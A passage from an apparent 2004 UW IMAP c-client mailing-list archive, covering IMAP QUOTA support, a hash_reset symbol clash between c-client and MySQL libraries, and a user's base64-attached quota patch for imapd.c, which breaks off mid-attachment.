disk block. There are also independent concepts of "grace" space which isn't represented in IMAP QUOTA. None of this mean that "it can't be done"; however, to be useful and correct is quite a bit more complicated than the obvious simple implementation. > I know imapd can recognize when it's going to go > over, but I don't know if it can be used, for example, with an imap mail > client (I"m using SquirrelMail) that's asking what the quota is. QUOTA is an optional extension; clients are expected to handle servers which do not offer an particular extension. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Dec 20 03:24:00 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 20 Dec 2004 03:24:00 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iBKBO0hK018604 for ; Mon, 20 Dec 2004 03:24:00 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBKBNw2d029643 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 20 Dec 2004 03:23:59 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id iBKBNjpo016692; Mon, 20 Dec 2004 03:23:46 -0800 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBKBM0LT088166 for ; Mon, 20 Dec 2004 03:22:00 -0800 Received: from plasma.squigly.net (plasma.squigly.net [82.165.243.76]) by mxe5.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iBKBLx6p013484 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Mon, 20 Dec 2004 03:22:00 -0800 Received: (qmail 18709 invoked from network); 20 Dec 2004 11:21:59 -0000 Received: from localhost (127.0.0.1) by localhost with SMTP; 20 Dec 2004 11:21:59 -0000 Received: from work (work [62.173.100.90]) by webmail.squigly.net (IMP) with HTTP for ; Mon, 20 Dec 2004 06:21:58 -0500 Message-Id: <1103541718.41c6b5d6e79c7@webmail.squigly.net> Date: Mon, 20 Dec 2004 06:21:58 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: alex@squigly.net To: c-client@u.washington.edu Subject: name-space protect symbols MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-Originating-IP: 62.173.100.90 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='NO_REAL_NAME 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi All, Much appreciative of all the work to date that's been put into the c-client. Have used it for years with php. As of late have run into a problem and now i'm running around the internet to try and get it sorted. It has to do with php and how it compiles in mysql 4.1 libraries and c-client libraries. http://bugs.php.net/bug.php?id=31182 /usr/local/imap-2004a/lib/libc-client.a(misc.o)(.text+0x8a4): In function `hash_reset': /build/imap-2004a/c-client/misc.c:278: multiple definition of `hash_reset' /usr/lib/mysql/libmysqlclient.a(hash.o)(.text+0x130): first defined here /usr/bin/ld: Warning: size of symbol `hash_reset' changed from 94 in /usr/lib/mysql/libmysqlclient.a(hash.o) to 89 in /usr/lib/mysql/libmysqlclient.a(hash.o) collect2: ld returned 1 exit status make: *** [libphp5.la] Error 1 The folks on the php side of things have indicated that perhaps folks who develop both mysql and/or c-client should name-space protect their symbols. Was wondering if this is something that's already done with c-client code. If not, how difficult would it be to affect this change? Anyways, any feedback/messages, etc would be great. Much appreciated! -sd ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Dec 20 09:15:41 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 20 Dec 2004 09:15:41 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iBKHFevQ029678 for ; Mon, 20 Dec 2004 09:15:40 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBKHFdtI008608 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 20 Dec 2004 09:15:40 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id iBKHFSLE015588; Mon, 20 Dec 2004 09:15:29 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBKHE9qb047332 for ; Mon, 20 Dec 2004 09:14:09 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxi2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iBKHE8Su017712 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 20 Dec 2004 09:14:08 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) by mxout1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iBKHE7kM027237; Mon, 20 Dec 2004 09:14:08 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBKHE7DQ010131; Mon, 20 Dec 2004 09:14:07 -0800 Message-Id: Date: Mon, 20 Dec 2004 09:14:07 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: alex@squigly.net Cc: c-client@u.washington.edu Subject: Re: name-space protect symbols In-Reply-To: <1103541718.41c6b5d6e79c7@webmail.squigly.net> References: <1103541718.41c6b5d6e79c7@webmail.squigly.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN It seems that mysql and c-client have a global routine (that is, exported to the application) called hash_reset(). It isn't particularly surprising to find that two packages both use hash tables and have a routine to reset a hash table. This is a classic case of what happens when two independent libraries happen to use the same name for a global routine. I doubt that there was ever any thought in the development of mysql to link it with c-client in the same application; there was certainly not any such thought in the development of c-client. I'm not sure what is meant by "name-space protect"; this may either refer to a C++ concept (c-client is written in C, not C++) or simply to the practice of assigning names that aren't likely to conflict (and renaming names that do conflict). Renaming c-client function names is not out of the question; however, since it will cause an interface change (and possibly break applications) it is something that is done only after careful consideration *and* negotiation with the developers of the conflicting library. Put another way: there never was any effort taken to make c-client and mysql link together in an application, and I'm surprised that there seems to be only one conflict. I'm willing to undertake such an effort, but it has to be mutual on the part of the mysql developers (because it entails a long-term commitment on both sides). So I guess that the best thing for you is to get in touch with the mysql developers, see what they say, and if they seem agreeable then put us all in touch with each other. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Dec 20 14:44:30 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 20 Dec 2004 14:44:30 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iBKMiUYJ015844 for ; Mon, 20 Dec 2004 14:44:30 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBKMiTNM000863 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 20 Dec 2004 14:44:29 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id iBKMiFss015142; Mon, 20 Dec 2004 14:44:16 -0800 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBKMgn88024030 for ; Mon, 20 Dec 2004 14:42:50 -0800 Received: from server07.icaen.uiowa.edu (server07.icaen.uiowa.edu [128.255.17.47]) by mxe5.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iBKMgmd1010660 for ; Mon, 20 Dec 2004 14:42:49 -0800 Received: from server11.icaen.uiowa.edu (server11.icaen.uiowa.edu [128.255.17.51]) by server07.icaen.uiowa.edu (8.12.9/8.12.9) with ESMTP id iBKMgkU3023425; (envelope-from ) Mon, 20 Dec 2004 16:42:46 -0600 (CST) Received: from d-is00.icaen.uiowa.edu (d-is00.icaen.uiowa.edu [128.255.17.30]) by server11.icaen.uiowa.edu (8.13.1/smtp-serv-1.7) with ESMTP id iBKMgj9K007416 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168); (envelope-from ) Mon, 20 Dec 2004 16:42:45 -0600 (CST) Message-Id: Date: Mon, 20 Dec 2004 16:42:45 -0600 (CST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David B Funk To: "Dan Mahoney, System Admin" Cc: c-client@u.washington.edu Subject: Re: Quota Support in UW Imap In-Reply-To: References: <20041219021730.J83248@prime.gushi.org> MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="2003920895-579758561-1103582565=:23746" X-Virus-Scanned: ClamAV 0.80/630/Tue Dec 14 16:26:33 2004 clamav-milter version 0.80j on clamav.icaen.uiowa.edu X-Virus-Scanned: ClamAV 0.80/632/Thu Dec 16 07:15:42 2004, clamav-milter version 0.75 on clamav.icaen.uiowa.edu X-Virus-Status: Clean X-Virus-Status: Clean X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --2003920895-579758561-1103582565=:23746 Content-Type: TEXT/PLAIN; charset=US-ASCII On Sun, 19 Dec 2004, Mark Crispin wrote: > On Sun, 19 Dec 2004, Dan Mahoney, System Admin wrote: > > I was wondering if UW Imap had the ability to report the system quota of the > > mail directory (i.e. the home directory) to users who were using the QUOTA > > extension. > > At the current time, the answer is "no". > > > I know this is a pretty standard system call (I think)...so it shouldn't be > > too difficult to implement. > > Unfortunately, this is not the case; there are at least three different > implementations of UNIX quotas that I am aware of, each with different > semantics. It would be fairly easy to assume that "all the world is > Linux" and implement the QUOTA extension for Linux only; but imapd runs on > many platforms besides Linux. > [snip..] > Finally, IMAP QUOTA isn't defined in terms that directly map to UNIX > quota; the suggested resources are STORAGE and MESSAGE, however on UNIX it > is typically by disk block. There are also independent concepts of > "grace" space which isn't represented in IMAP QUOTA. > > None of this mean that "it can't be done"; however, to be useful and > correct is quite a bit more complicated than the obvious simple > implementation. I fully respect Mark's comments & opinions (after all, he's the person who has to deal with complaints about UW Imap not working as expected. ;) Be that as it may, if you're willing to settle for a "gas gauge" kind of implementation (IE a general indication of 'how close to empty' rather than an exact impementation of the standard) then the Unix quota can be used for a practical QUOTA system. (Particularly for webmail systems where the users will probably never be able to get an exact handle on the mailboxes, they just want a general "how close am I" kind of metric). We have found this to be quite useful even if not technically 'correct'. I hacked UW Imap to add two kinds of QUOTA info. The first (see code defined by QUOTA_CHECK) regularly checks the user's quota and sends IMAP ALERT messages if they're over. It sends the text contained in one of two different files (see QUOTA_CHECK_WARN_MESS_FILE & QUOTA_CHECK_ERROR_MESS_FILE) via 'palert'. The second is a quick-and-dirty implementation of the QUOTA extension (see code defined by DO_QUOTA). I've attached two files, the first is a patch to imapd.c (based upon the 2004a version), the second contains the actual system dependent quota gathering routines. That code is written for a Sys5 type OS (we use HP-UX) but there are enough comments in it that a good hacker should be able to adapt it to other platforms. patch imapd.c, put "quota_check.c" in src/osdep/unix, add the defines to the Makefile for imapd, and rebuild. If you use the QUOTA_CHECK part, you'll have to create two text files that contain the messages, one 'alert' for going over soft quota one for hitting hard. suggest keeping the messages to a single line. Please do not bother Mark about this stuff. I'll try to answer questions about it but cannot promise anything WRT porting the OS dependent part to another platform. Dave -- Dave Funk University of Iowa College of Engineering 319/335-5751 FAX: 319/384-0549 1256 Seamans Center Sys_admin/Postmaster/cell_admin Iowa City, IA 52242-1527 #include Better is not better, 'standard' is better. B{ --2003920895-579758561-1103582565=:23746 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="imapd.c.patch" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: QUOTA patch for imapd.c Content-Disposition: attachment; filename="imapd.c.patch" KioqIGltYXBkLmMub3JpZwlUdWUgSnVuIDI5IDE2OjU2OjE3IDIwMDQNCi0t LSBpbWFwZC5jCU1vbiBEZWMgMjAgMTQ6NTk6NDggMjAwNA0KKioqKioqKioq KioqKioqDQoqKiogMTcsMjIgKioqKg0KLS0tIDE3LDI2IC0tLS0NCiAgICog VGhlIGZ1bGwgdGV4dCBvZiBvdXIgbGVnYWwgbm90aWNlcyBpcyBjb250YWlu ZWQgaW4gdGhlIGZpbGUgY2FsbGVkDQogICAqIENQWVJJR0hULCBpbmNsdWRl ZCB3aXRoIHRoaXMgRGlzdHJpYnV0aW9uLg0KICAgKi8NCisgLyoNCisgICog MjAwMy8xMi8xIGRiZiAgICBBZGQgUVVPVEEgY2FwYWJpbGl0eQ0KKyAgKi8N CisgDQogIAwNCiAgLyogUGFyYW1ldGVyIGZpbGVzICovDQogIA0KKioqKioq KioqKioqKioqDQoqKiogMjMsMjggKioqKg0KLS0tIDI3LDM1IC0tLS0NCiAg I2luY2x1ZGUgPHN0ZGlvLmg+DQogICNpbmNsdWRlIDxjdHlwZS5oPg0KICAj aW5jbHVkZSA8ZXJybm8uaD4NCisgI2lmZGVmIFFVT1RBX0NIRUNLDQorICNp bmNsdWRlIDx0aW1lLmg+DQorICNlbmRpZg0KICBleHRlcm4gaW50IGVycm5v OwkJLyoganVzdCBpbiBjYXNlICovDQogICNpbmNsdWRlIDxzaWduYWwuaD4N CiAgI2luY2x1ZGUgPHRpbWUuaD4NCioqKioqKioqKioqKioqKg0KKioqIDQz LDQ4ICoqKioNCi0tLSA1MCw2NCAtLS0tDQogICNkZWZpbmUgU0hVVERPV05U SU1FUiAxIE1JTlVURVMJLyogc2h1dGRvd24gZGFsbHkgdGltZXIgKi8NCiAg I2RlZmluZSBJRExFVElNRVIgMSBNSU5VVEVTCS8qIElETEUgY29tbWFuZCBw b2xsIHRpbWVyICovDQogICNkZWZpbmUgQ0hFQ0tUSU1FUiAxNSBNSU5VVEVT CS8qIElETEUgY29tbWFuZCBsYXN0IGNoZWNrcG9pbnQgdGltZXIgKi8NCisg I2lmZGVmIFFVT1RBX0NIRUNLDQorICNkZWZpbmUgUVVPVEFUSU1FUiAzMCBN SU5VVEVTIC8qIHF1b3RhIGNoZWNrIHRpbWVyLCBob3cgb2Z0ZW4gdG8gY2hl Y2sgKi8NCisgI2lmbmRlZiBRVU9UQV9DSEVDS19XQVJOX01FU1NfRklMRQkv KiBlcnJvciBtZXNzYWdlIHRvIHNlbmQgd2hlbiBvdmVyIHF1b3RhICovDQor ICNkZWZpbmUgUVVPVEFfQ0hFQ0tfV0FSTl9NRVNTX0ZJTEUgIi9ldGMvaW1h cF9xdW90YV9hbGVydCINCisgI2VuZGlmDQorICNpZm5kZWYgUVVPVEFfQ0hF Q0tfRVJST1JfTUVTU19GSUxFDQorICNkZWZpbmUgUVVPVEFfQ0hFQ0tfRVJS T1JfTUVTU19GSUxFICIvZXRjL2ltYXBfcXVvdGFfZXJyb3IiDQorICNlbmRp Zg0KKyAjZW5kaWYJLyogUVVPVEFfQ0hFQ0sgKi8NCiAgDQogIA0KICAjZGVm aW5lIExJVFNUS0xFTiAyMAkJLyogbGVuZ3RoIG9mIGxpdGVyYWwgc3RhY2sg Ki8NCioqKioqKioqKioqKioqKg0KKioqIDEyNCwxMjkgKioqKg0KLS0tIDE0 MCwxNTEgLS0tLQ0KICBsb25nIGNyaXRfc2V0IChTRUFSQ0hTRVQgKipzZXQs dW5zaWduZWQgY2hhciAqKmFyZyx1bnNpZ25lZCBsb25nIG1heGltYSk7DQog IGxvbmcgY3JpdF9udW1iZXIgKHVuc2lnbmVkIGxvbmcgKm51bWJlcix1bnNp Z25lZCBjaGFyICoqYXJnKTsNCiAgbG9uZyBjcml0X3N0cmluZyAoU1RSSU5H TElTVCAqKnN0cmluZyx1bnNpZ25lZCBjaGFyICoqYXJnKTsNCisgI2lmZGVm IERPX1FVT1RBDQorIGludCBnZXRfcXVvdGEoY2hhciAqLCBjaGFyICosIGlu dCAqLCBpbnQqKTsNCisgI2VuZGlmDQorICNpZmRlZiBRVU9UQV9DSEVDSw0K KyBpbnQgcXVvdGFfY2hlY2soY2hhciAqLCBjaGFyICopOw0KKyAjZW5kaWYN CiAgDA0KICB2b2lkIGZldGNoIChjaGFyICp0LHVuc2lnbmVkIGxvbmcgdWlk KTsNCiAgdHlwZWRlZiB2b2lkICgqZmV0Y2hmbl90KSAodW5zaWduZWQgbG9u ZyBpLHZvaWQgKmFyZ3MpOw0KKioqKioqKioqKioqKioqDQoqKiogMTgzLDE5 MiAqKioqDQogIAwNCiAgLyogR2xvYmFsIHN0b3JhZ2UgKi8NCiAgDQohIGNo YXIgKnZlcnNpb24gPSAiMjAwNC4zNTIiOwkvKiB2ZXJzaW9uIG51bWJlciBv ZiB0aGlzIHNlcnZlciAqLw0KICB0aW1lX3QgYWxlcnR0aW1lID0gMDsJCS8q IHRpbWUgb2YgbGFzdCBhbGVydCAqLw0KICB0aW1lX3Qgc3lzYWxlcnR0aW1l ID0gMDsJLyogdGltZSBvZiBsYXN0IHN5c3RlbSBhbGVydCAqLw0KICB0aW1l X3QgdXNlcmFsZXJ0dGltZSA9IDA7CS8qIHRpbWUgb2YgbGFzdCB1c2VyIGFs ZXJ0ICovDQogIHRpbWVfdCBsYXN0Y2hlY2sgPSAwOwkJLyogdGltZSBvZiBs YXN0IGNoZWNrcG9pbnQgKi8NCiAgdGltZV90IHNodXRkb3dudGltZSA9IDA7 CS8qIHRpbWUgb2YgbGFzdCBzaHV0ZG93biAqLw0KICBpbnQgc3RhdGUgPSBM T0dJTjsJCS8qIHNlcnZlciBzdGF0ZSAqLw0KLS0tIDIwNSwyMTggLS0tLQ0K ICAMDQogIC8qIEdsb2JhbCBzdG9yYWdlICovDQogIA0KISBjaGFyICp2ZXJz aW9uID0gIjIwMDRhLjM1MkwtbW9kLjIiOwkvKiB2ZXJzaW9uIG51bWJlciBv ZiB0aGlzIHNlcnZlciAqLw0KISAJCQkJLyogTm90ZSBsb2NhbCBtb2RzIGlu IHZlcnNpb24gbm8uICovDQogIHRpbWVfdCBhbGVydHRpbWUgPSAwOwkJLyog dGltZSBvZiBsYXN0IGFsZXJ0ICovDQogIHRpbWVfdCBzeXNhbGVydHRpbWUg PSAwOwkvKiB0aW1lIG9mIGxhc3Qgc3lzdGVtIGFsZXJ0ICovDQogIHRpbWVf dCB1c2VyYWxlcnR0aW1lID0gMDsJLyogdGltZSBvZiBsYXN0IHVzZXIgYWxl cnQgKi8NCisgI2lmZGVmIFFVT1RBX0NIRUNLDQorIHRpbWVfdCBxdW90YXRp bWUgPSAwOwkJLyogdGltZSBvZiBsYXN0IHF1b3RhIGNoZWNrICovDQorICNl bmRpZg0KICB0aW1lX3QgbGFzdGNoZWNrID0gMDsJCS8qIHRpbWUgb2YgbGFz dCBjaGVja3BvaW50ICovDQogIHRpbWVfdCBzaHV0ZG93bnRpbWUgPSAwOwkv KiB0aW1lIG9mIGxhc3Qgc2h1dGRvd24gKi8NCiAgaW50IHN0YXRlID0gTE9H SU47CQkvKiBzZXJ2ZXIgc3RhdGUgKi8NCioqKioqKioqKioqKioqKg0KKioq IDg5Myw4OTggKioqKg0KLS0tIDkxOSw5NTEgLS0tLQ0KICAJICBpZiAoc3Ry ZWFtKQkJLyogYWxsb3cgdW50YWdnZWQgRVhQVU5HRSAqLw0KICAJICAgIG1h aWxfcGFyYW1ldGVycyAoc3RyZWFtLFNFVF9PTkVUSU1FRVhQVU5HRUFUUElO Rywodm9pZCAqKSBzdHJlYW0pOw0KICAJfQ0KKyAjaWZkZWYgRE9fUVVPVEEN CisgCQkJCS8qIGdpdmUgdXNlcidzIHF1b3RhICovDQorIAllbHNlIGlmICgh c3RyY21wKGNtZCwiR0VUUVVPVEEiKSB8fCAhc3RyY21wKGNtZCwiR0VUUVVP VEFST09UIikpIHsNCisgCSAgaW50IHVzZWQsIGxpbWl0Ow0KKyAJICBjaGFy IGdldHFfcmVzcFsyNTZdOw0KKyAJICByZXNwb25zZSA9IGJhZGFyZzsJLyog YXNzdW1lIGZhaWx1cmUgKi8NCisgCQkJCS8qIGdldCBtYWlsYm94IGFyZ3Vt ZW50LCBpZ25vcmUgaXQsIHNpbXBsZS1taW5kZWQgaGFjayAqLw0KKyAJICBp ZiAoIShzID0gc25hcmYgKCZhcmcpKSkNCisgCSAgICByZXNwb25zZSA9IG1p c2FyZzsNCisgCSAgZWxzZSBpZiAoYXJnKSByZXNwb25zZSA9IGJhZGFyZzsN CisgCS8qIG1ha2Ugc3VyZSBub3QgYW5vbnltb3VzIGFuZCBoYXZlIHZhbGlk IHVzZXItbmFtZSAqLw0KKyAJICBlbHNlIGlmICgoIWFub255bW91cykgJiYg dXNlciAmJiANCisgCSAgICAgICAgICAoZ2V0X3F1b3RhKG15aG9tZWRpcigp LHVzZXIsICZ1c2VkLCAmbGltaXQpID09IDApKSB7DQorIAkJICBpZiAoIXN0 cmNtcChjbWQsIkdFVFFVT1RBUk9PVCIpKSB7DQorIAkJICAgICBzcHJpbnRm KGdldHFfcmVzcCwiKiBRVU9UQVJPT1QgJS44MHMgXCJcIlwwMTVcMDEyIixz KTsNCisgCQkgICAgIFBTT1VUKGdldHFfcmVzcCk7DQorIAkJICAgICBzPSAi XCJcIiI7DQorIAkJICB9DQorIC8qIGJ1aWxkIHJlc3BvbnNlIHN0cmluZzog IiogUVVPVEEgUk9PVCAoU1RPUkFHRSB1c2UgbWF4KSIgKi8NCisgCQlzcHJp bnRmKGdldHFfcmVzcCwiKiBRVU9UQSAlLjgwcyAoU1RPUkFHRSAlZCAlZClc MDE1XDAxMiIscyx1c2VkLGxpbWl0KTsNCisgCQlQU09VVChnZXRxX3Jlc3Ap Ow0KKyAJCXJlc3BvbnNlID0gd2luOw0KKyAJICAgIH0NCisgCSAgaWYgKHN0 cmVhbSkJCS8qIGFsbG93IHVudGFnZ2VkIEVYUFVOR0UgKi8NCisgCSAgICBt YWlsX3BhcmFtZXRlcnMgKHN0cmVhbSxTRVRfT05FVElNRUVYUFVOR0VBVFBJ TkcsKHZvaWQgKikgc3RyZWFtKTsNCisgCX0NCisgI2VuZGlmCS8qIERPX1FV T1RBICovDQogIAwNCiAgCQkJCS8qIGZpbmQgbWFpbGJveGVzICovDQogIAll bHNlIGlmICghc3RyY21wIChjbWQsIkZJTkQiKSkgew0KKioqKioqKioqKioq KioqDQoqKiogMTMzMiwxMzM3ICoqKioNCi0tLSAxMzg1LDE0MDggLS0tLQ0K ICAgICAgaWYgKHN0YXRlICE9IExPR0lOKQkJLyogZG8gdXNlciBhbGVydCBp ZiBsb2dnZWQgaW4gKi8NCiAgICAgICAgdXNlcmFsZXJ0dGltZSA9IHBhbGVy dCAobWFpbGJveGZpbGUgKHRtcCxVU0VSQUxFUlRGSUxFKSx1c2VyYWxlcnR0 aW1lKTsNCiAgICB9DQorICNpZmRlZiBRVU9UQV9DSEVDSw0KKyAgIGlmICgo dGltZSAoMCkgPiBxdW90YXRpbWUgKyBRVU9UQVRJTUVSKSAmJiAoc3RybGVu KHVzZXIpID4gMSkgJiYgKHN0cmxlbihteWhvbWVkaXIoKSkgPiAxICkpIHsN CisgICAgIHF1b3RhdGltZSA9IHRpbWUgKDApOyAgICAgLyogY2hlY2sgZm9y IHF1b3RhIGFidXNlICovDQorICAgICBzd2l0Y2ggKHF1b3RhX2NoZWNrKG15 aG9tZWRpcigpLHVzZXIpKSB7IC8qIHBvc3NpYmxlIHF1b3RhIG92ZXJmbG93 cyAqLw0KKyAgICAgICBjYXNlIDA6ICAgICAgICAgICAgICAgICAvKiBubyBw cm9ibGVtLCBza2lwICovDQorIAlicmVhazsNCisgICAgICAgY2FzZSAxOiAg ICAgICAgICAgICAgICAgLyogb3ZlciBzb2Z0IHF1b3RhLCBnaXZlIGFsZXJ0 IG1lc3NhZ2UgKi8NCisgCSh2b2lkKSBwYWxlcnQgKFFVT1RBX0NIRUNLX1dB Uk5fTUVTU19GSUxFLDApOw0KKyAJYnJlYWs7DQorICAgICAgIGNhc2UgMjog ICAgICAgICAgICAgICAgIC8qIG92ZXIgaGFyZCBxdW90YSwgZ2l2ZSBlcnJv ciBtZXNzYWdlICovDQorIAkodm9pZCkgcGFsZXJ0IChRVU9UQV9DSEVDS19X QVJOX01FU1NfRklMRSwwKTsNCisgCSh2b2lkKSBwYWxlcnQgKFFVT1RBX0NI RUNLX0VSUk9SX01FU1NfRklMRSwwKTsNCisgCWJyZWFrOw0KKyAgICAgICBk ZWZhdWx0OiAgICAgICAgICAgICAgICAvKiBpZ25vcmUgZXJyb3JzIGZyb20g cXVvdGFfY2hlY2sgKi8NCisgCWJyZWFrOw0KKyAgICAgfQ0KKyAgIH0NCisg I2VuZGlmIC8qIFFVT1RBX0NIRUNLICovDQogIH0NCiAgDA0KICAvKiBQcmlu dCBhbiBhbGVydCBmaWxlDQoqKioqKioqKioqKioqKioNCioqKiAzMzgxLDMz ODYgKioqKg0KLS0tIDM0NTIsMzQ2MCAtLS0tDQogICAgICAgIHRociA9IHRo ci0+bmV4dDsNCiAgICAgIH0NCiAgICAgIGlmICghYW5vbnltb3VzKSBQU09V VCAoIiBNVUxUSUFQUEVORCIpOw0KKyAjaWZkZWYgRE9fUVVPVEENCisgICAg IGlmICghYW5vbnltb3VzKSBQU09VVCAoIiBRVU9UQSIpOw0KKyAjZW5kaWYN CiAgICB9DQogICAgaWYgKGZsYWcgPD0gMCkgewkJLyogd2FudCBwcmUtYXV0 aGVudGljYXRpb24gY2FwYWJpbGl0aWVzPyAqLw0KICAgICAgUFNPVVQgKCIg U0FTTC1JUiBMT0dJTi1SRUZFUlJBTFMiKTsNCioqKioqKioqKioqKioqKg0K KioqIDQwNDMsNDA0NSAqKioqDQotLS0gNDExNyw0MTIyIC0tLS0NCiAgCSAg dXNlciA/IChjaGFyICopIHVzZXIgOiAiPz8/Iix0Y3BfY2xpZW50aG9zdCAo KSwNCiAgCSAgKHN0cmVhbSAmJiBzdHJlYW0tPm1haWxib3gpID8gc3RyZWFt LT5tYWlsYm94IDogIj8/PyIsc3RyaW5nKTsNCiAgfQ0KKyAjaWYgZGVmaW5l ZChRVU9UQV9DSEVDSykgfHwgZGVmaW5lZCAoRE9fUVVPVEEpDQorICNpbmNs dWRlICIuLi9zcmMvb3NkZXAvdW5peC9xdW90YV9jaGVjay5jIg0KKyAjZW5k aWYNCg== --2003920895-579758561-1103582565=:23746 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="quota_check.c" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: OS dependent quota routines Content-Disposition: attachment; filename="quota_check.c" LyoNCiAqIENoZWNrIHVzZXIncyBjdXJyZW50IHF1b3RhIGFnYWluc3QgaGFy ZC9zb2Z0IGxpbWl0cw0KICogdGhpcyBjb2RlIGJhc2VkIHVwb24gYSBTeXM1 IHR5cGUgc3lzdGVtLg0KICogaXQgYXNzdW1lcyB0aGF0IHRoZSBmaWxlLXN5 c3RlbSBhcmUgbG9jYWxseSBtb3VudGVkDQogKi8NCiNpZiBkZWZpbmVkKFFV T1RBX0NIRUNLKSB8fCBkZWZpbmVkIChET19RVU9UQSkNCi8qIG9ubHkgYnVp bGQgdGhpcyBtb2R1bGUgaWYgcmVxdWVzdGVkICovDQoNCiNpbmNsdWRlIDxw d2QuaD4NCiNpbmNsdWRlIDxzeXMvc3RhdC5oPg0KI2luY2x1ZGUgPGVycm5v Lmg+DQojaW5jbHVkZSA8bW50ZW50Lmg+DQojaW5jbHVkZSA8c3lzL3F1b3Rh Lmg+DQoNCiNpZm5kZWYgRElTS1RBQgkvKiBmaWxlIHRoYXQgY29udGFpbnMg 